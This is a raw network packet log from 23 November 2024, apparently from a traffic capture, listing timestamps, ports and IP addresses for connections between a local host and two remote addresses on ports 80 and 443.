Nov 23, 2024 15:22:24.863230944 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.864036083 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.864084959 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.864152908 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.864221096 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.865124941 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.865180016 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.865233898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.865291119 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.866097927 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.866153002 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.866211891 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.866343021 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.867110014 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.867225885 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.867290974 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.867350101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.868145943 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.868249893 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.868278980 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.868344069 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.869177103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.869230986 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.869312048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.869389057 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.870218992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.870340109 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.870349884 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.870410919 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.871233940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.871362925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.871376991 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.871416092 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.872364998 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.872421026 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.872430086 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.872488976 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.873306036 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.873375893 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.873425961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.873476982 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.874341965 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.874408007 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.874505043 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.874572039 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.875381947 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.875448942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.875622988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.875703096 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.876386881 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.876444101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.876538992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.876605034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.877417088 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.877475023 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.877599001 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.877660036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.878443003 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.878495932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.878566980 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.878617048 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.879481077 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.879539967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.879607916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.879659891 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.880496979 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.880548000 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.880618095 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.880666971 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.881546021 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.881597042 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.881640911 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.881724119 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.882569075 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.882628918 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.882699966 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.882910967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.883620977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.883677959 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.883780003 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.883977890 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.884615898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.884684086 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.884738922 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.884804964 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.885664940 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.885716915 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.885787964 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.885849953 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.886709929 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.886765957 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.886835098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.887043953 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.887748003 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.887800932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.887871027 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.887928009 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.888750076 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.888818026 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.888876915 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.888923883 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.889775991 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.889833927 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.889956951 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.890011072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.890810966 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.890871048 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.890954971 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.891014099 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.891840935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.891891956 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.891968966 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.892034054 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.892894983 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.892955065 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.892999887 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.893049955 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.893934011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.893985033 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.894054890 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.894115925 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.894911051 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.894967079 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.895040035 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.895091057 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.895972013 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.896028996 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.896095991 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.896147013 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.896986008 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.897043943 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.897115946 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.897166014 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.898016930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.898138046 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.898150921 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.898206949 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.899020910 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.899075985 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.899137974 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.899185896 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.900084972 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.900120020 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.900137901 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.900186062 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.901091099 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.901144981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.901223898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.901316881 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.902118921 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.902170897 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.902235031 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.902286053 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.903131962 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.903188944 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.903234005 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.903285980 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.904126883 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.904175997 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.929423094 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.929481030 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.929533005 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.929570913 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.929594040 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.929615974 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.929670095 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.937799931 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.937956095 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.938045025 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.938108921 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.938128948 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.938141108 CET	49786	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.938147068 CET	443	49786	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.978539944 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.978604078 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:24.978741884 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.978939056 CET	49807	443	192.168.2.4	20.190.147.3
Nov 23, 2024 15:22:24.978971958 CET	443	49807	20.190.147.3	192.168.2.4
Nov 23, 2024 15:22:25.051682949 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.051745892 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.051784992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.051834106 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.052233934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.052311897 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.052347898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.052397013 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.053204060 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.053273916 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.053333044 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.053399086 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.054243088 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.054306030 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.054367065 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.054416895 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.055434942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.055556059 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.055571079 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.055623055 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.056284904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.056338072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.056417942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.056554079 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.057318926 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.057363033 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.057425976 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.057542086 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.058363914 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.058490038 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.058553934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.058598042 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.059384108 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.059452057 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.059521914 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.059568882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.060412884 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.060458899 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.060519934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.060570955 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.061454058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.061503887 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.061662912 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.061712980 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.062484026 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.062537909 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.062616110 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.062670946 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.063491106 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.063545942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.063608885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.063663960 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.064512968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.064599037 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.064656973 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.064714909 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.065555096 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.065603971 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.065661907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.065717936 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.066596985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.066642046 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.066704988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.066795111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.067608118 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.067656040 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.067758083 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.067815065 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.068633080 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.068686008 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.068747997 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.068799019 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.069650888 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.069705009 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.069801092 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.069868088 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.070683956 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.070740938 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.070804119 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.070856094 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.071713924 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.071769953 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.071829081 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.071880102 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.072777033 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.072830915 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.072899103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.072949886 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.073772907 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.073827982 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.073919058 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.073968887 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.074816942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.074862003 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.074995041 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.075046062 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.075853109 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.075903893 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.075958967 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.076008081 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.076900005 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.076955080 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.077069044 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.077117920 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.077971935 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.078027964 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.078061104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.078115940 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.079044104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.079092979 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.079161882 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.079210043 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.079998970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.080049038 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.080105066 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.080154896 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.081033945 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.081084967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.081146002 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.081192017 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.082017899 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.082070112 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.082148075 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.082196951 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.083070993 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.083126068 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.083180904 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.083242893 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.084127903 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.084172964 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.084239006 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.084287882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.085119963 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.085252047 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.085982084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.086158991 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.086345911 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.086395979 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.087213993 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.087549925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.087613106 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.088171959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.088324070 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.088365078 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.088399887 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.089231968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.089283943 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.089365959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.089421034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.090248108 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.090301037 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.090377092 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.090447903 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.091265917 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.091334105 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.091468096 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.091517925 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.092299938 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.092350006 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.092416048 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:25.092468023 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:25.093358040 CET	80	49795	185.215.113.16	192.168.2.4
